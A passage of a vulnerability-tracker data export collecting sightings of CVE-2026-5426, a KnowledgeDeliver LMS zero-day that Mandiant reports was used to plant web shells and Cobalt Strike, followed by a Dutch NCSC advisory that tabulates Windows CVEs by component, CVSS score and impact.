\u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0443 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0434\u043b\u044f \u043c\u043e\u0434\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u0430 JavaScript \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0441 \u0446\u0435\u043b\u044c\u044e \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u0438 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u043b\u043e\u0436\u043d\u043e\u0433\u043e \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u044e\u0449\u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u043f\u043b\u0430\u0433\u0438\u043d.\n\n\u0412 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u043c \u0438\u0442\u043e\u0433\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0431\u044b\u043b\u0438 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u044b \u0431\u044d\u043a\u0434\u043e\u0440\u043e\u043c Cobalt Strike. \u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043f\u043e\u043b\u0435\u0437\u043d\u0430\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0431\u044b\u043b\u0430 \u0437\u0430\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0430 \u043a\u043b\u044e\u0447\u043e\u043c, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u043c \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438-\u0436\u0435\u0440\u0442\u0432\u044b, \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Mandiant \u0441\u0447\u0438\u0442\u0430\u0435\u0442, \u0447\u0442\u043e \u0431\u044d\u043a\u0434\u043e\u0440 \u0431\u044b\u043b \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0434\u043b\u044f \u044d\u0442\u043e\u0439 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 IOCs, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u0430\u0442\u0430\u043a\u043e\u0439, \u0438 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u0441\u0440\u0435\u0434\u044b \u043d\u0430 \u043f\u0440\u0435\u0434\u043c\u0435\u0442 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0432\u0442\u043e\u0440\u0436\u0435\u043d\u0438\u0439. \u041e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f\u043c \u0442\u0430\u043a\u0436\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043c\u0435\u043d\u044f\u0442\u044c \u043a\u043b\u044e\u0447\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0441\u0432\u043e\u0438\u043c \u044d\u043a\u0437\u0435\u043c\u043f\u043b\u044f\u0440\u0430\u043c \u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a LMS.\n\n\u0412\u0441\u0435 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f KnowledgeDeliver, \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0434\u043e 24 \u0444\u0435\u0432\u0440\u0430\u043b\u044f 2026 \u0433\u043e\u0434\u0430, \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b 0-day \u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438.", "creation_timestamp": "2026-05-26T14:50:06.000000Z"}, {"uuid": "6112ceae-6368-4b70-915a-a547c6b5b78f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5426", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mmryjq4to32s", "content": "Mandiant says attackers used CVE-2026-5426 in KnowledgeDeliver LMS as a zero-day to deploy Godzilla web shells, abuse reused ASP.NET machine keys, and trigger Cobalt Strike via ViewState deserialization. #KnowledgeDeliver #Mandiant #CobaltStrike", "creation_timestamp": "2026-05-26T22:00:27.686846Z"}, {"uuid": "9f3a1b37-89ac-410f-9daf-14a0df049473", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5426", "type": "seen", "source": "https://poliverso.org/objects/0477a01e-486a-16a3-a903-786386626250", "content": "CVE-2026-5426: zero-day in KnowledgeDeliver LMS sfruttato per distribuire BLUEBEAM e Cobalt Strike BEACON\n@informaticaMandiant ha pubblicato i dettagli dell'exploitation attiva di CVE-2026-5426, zero-day nel LMS KnowledgeDeliver causato da chiavi ASP.NET machineKey hardcoded e condivise tra tutte le installazioni.RE: insicurezzadigitale.com/?p=977\u2026", "creation_timestamp": "2026-05-27T07:56:52.045931Z"}, {"uuid": "de1c8b31-7a9b-414e-a2a1-c47de03eaf5f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5426", "type": "seen", "source": "https://bsky.app/profile/cybersecurity.poliverso.org.ap.brid.gy/post/3mmszuhdmsjq2", "content": "# **CVE-2026-5426: zero-day in KnowledgeDeliver LMS sfruttato per distribuire BLUEBEAM e Cobalt Strike BEACON**\n\n\n@informatica\nMandiant ha pubblicato i dettagli dell'exploitation attiva di CVE-2026-5426, zero-day nel LMS KnowledgeDeliver causato da chiavi ASP.NET machineKey hardcoded e condivise [\u2026]", "creation_timestamp": "2026-05-27T07:57:03.424559Z"}, {"uuid": "46c0336c-5678-4faf-9289-c3a763c2be79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5426", "type": "seen", "source": "https://bsky.app/profile/nuke86.rfeed.it/post/3mmtcnajjkr24", "content": "CVE-2026-5426: zero-day in KnowledgeDeliver LMS sfruttato per distribuire BLUEBEAM e Cobalt Strike BEACON\nil blog: insicurezzadigitale.com/cve-2026-542...\n\n#cybersecurity #apt #backdoor #cobaltstrike #infosec #malware #zeroday", "creation_timestamp": "2026-05-27T10:34:06.319794Z"}, {"uuid": "1f965140-3d0f-4db6-a712-d6fd5a2b937a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54113", "type": "seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2026-0284", "content": "Microsoft heeft een groot aantal kwetsbaarheden verholpen in Windows. Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de categorie\u00ebn schade, zoals genoemd in onderstaande tabel.\n\nDe ernstigste kwetsbaarheden hebben kenmerken **CVE-2026-59124, CVE-2026-62815, CVE-2026-62878, CVE-2026-62893** en **CVE-2026-65791** toegewezen gekregen en bevinden zich in respectievelijk Telephony Service, QUIC, DNS Server, Capability Access Management Service en iSCSI Target Service. Kwaadwillenden met toegang tot deze services kunnen zonder voorafgaande authenticatie mogelijk code uitvoeren of zich toegang verschaffen tot het kwetsbare systeem.\n\nNaast deze ernstige kwetsbaarheden zijn nog eens meer dan 230 kwetsbaarheden verholpen, allen varierend in ernstigheid van middelmatig tot hoog/kritiek.\n\nDoor de aard en omvang van deze updates, adviseert het NCSC om deze updates met voorrang in te zetten.\n\n```\nWindows Accessibility Infrastructure (ATBroker.exe): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61358 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Kernel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54113 | 7.50 | Denial-of-Service                   | \n| CVE-2026-61930 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62737 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-61929 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62708 | 6.40 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62749 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62780 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62788 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65773 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Hello: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61928 | 5.50 | Manipulatie van gegevens            | \n|----------------|------|-------------------------------------|\n\nWindows Schannel: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62779 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62757 | 5.30 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nAMD Zen: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-59130 | 5.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-59131 | 5.60 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Secure Socket Tunneling Protocol (SSTP): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62889 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Remote Access API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-65671 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65672 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Win32K: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62712 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62746 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62798 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62876 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62877 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65678 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62711 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62733 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62743 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62786 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62885 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65775 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65776 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Autopilot: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-65783 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65779 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65780 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65778 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65782 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65781 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Routing and Remote Access Service (RRAS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62819 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Common Log File System Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62728 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Remote Desktop Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61356 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-61367 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62692 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-61364 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-61365 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft QUIC: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62815 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Installer: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-59127 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-61925 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-70344 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-70345 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-70346 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-70347 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-61938 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62768 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65774 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Network Address Translation (NAT): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56179 | 8.30 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nWindows Storage Port Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-65814 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows NTFS: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61350 | 4.60 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62796 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62797 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65784 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62700 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62793 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62880 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62887 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nUser-Mode Power Service (UMPS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62721 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Bind Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61927 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-61934 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62705 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62722 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nVirtual Hard Disk (VHD) Miniport Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-59125 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Narrator Braille: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-56174 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nMicrosoft Remote Registry Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-59138 | 6.50 | Denial-of-Service                   | \n| CVE-2026-61345 | 6.50 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Key Guard: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-66799 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows RPC API: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-42976 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows User Profile Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62832 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Telephony Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61353 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62723 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62724 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62748 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62729 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-59122 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62701 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62725 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62726 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62732 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62734 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nCapability Access Management Service (camsvc): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62892 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Imaging Component: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-54984 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-62740 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Message Queuing: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62719 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62717 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-65790 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Defender Firewall Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61936 | 5.50 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nRPC Runtime: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62781 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Program Compatibility Assistant Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62696 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Active Directory: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-49179 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-65777 | 5.30 | Omzeilen van beveiligingsmaatregel  | \n|----------------|------|-------------------------------------|\n\nWindows Shell: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62770 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LUAFV: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-50472 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows TCP/IP: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-59132 | 7.50 | Denial-of-Service                   | \n| CVE-2026-62792 | 8.10 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Device Association Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62747 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62710 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Storage: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62695 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-61359 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows GDI: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-65662 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-61360 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nWindows Kerberos: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62754 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62766 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62773 | 7.00 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62752 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cross Device Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-66804 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Deployment Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62893 | 9.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows GDI+: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62890 | 7.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-62709 | 5.50 | Toegang tot gevoelige gegevens      | \n| CVE-2026-62822 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows iSCSI Target Service: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-65681 | 7.50 | Denial-of-Service                   | \n| CVE-2026-65679 | 8.10 | Uitvoeren van willekeurige code     | \n| CVE-2026-65791 | 9.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-65796 | 5.90 | Denial-of-Service                   | \n|----------------|------|-------------------------------------|\n\nWindows Encrypting File System (EFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-59128 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nApplication Information Services: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61357 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Container Isolation FS Filter Driver (unionfs.sys): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62772 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62775 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Local Security Authority Server (lsasrv): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62784 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows TPM: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-6727  | 5.90 | Toegang tot gevoelige gegevens      | \n| CVE-2026-6726  | 7.90 | Voordoen als andere gebruiker       | \n|----------------|------|-------------------------------------|\n\nWindows USB Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-61926 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Projected File System: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62751 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows LDAP - Lightweight Directory Access Protocol: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62785 | 8.80 | Uitvoeren van willekeurige code     | \n| CVE-2026-62795 | 8.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Universal Disk Format File System Driver (UDFS): \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62699 | 6.80 | Uitvoeren van willekeurige code     | \n|----------------|------|-------------------------------------|\n\nWindows Backup Engine: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62908 | 7.00 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Cloud Files Mini Filter Driver: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62713 | 7.80 | Verkrijgen van verhoogde rechten    | \n| CVE-2026-62771 | 7.80 | Verkrijgen van verhoogde rechten    | \n|----------------|------|-------------------------------------|\n\nWindows Management Instrumentation: \n|----------------|------|-------------------------------------|\n| CVE-ID         | CVSS | Impact                              |\n|----------------|------|-------------------------------------|\n| CVE-2026-62738 | 5.50 | Toegang tot gevoelige gegevens      | \n|----------------|------|-------------------------------------|\n\nMicrosoft Azure Attestation service and Device Health Attestation Service: 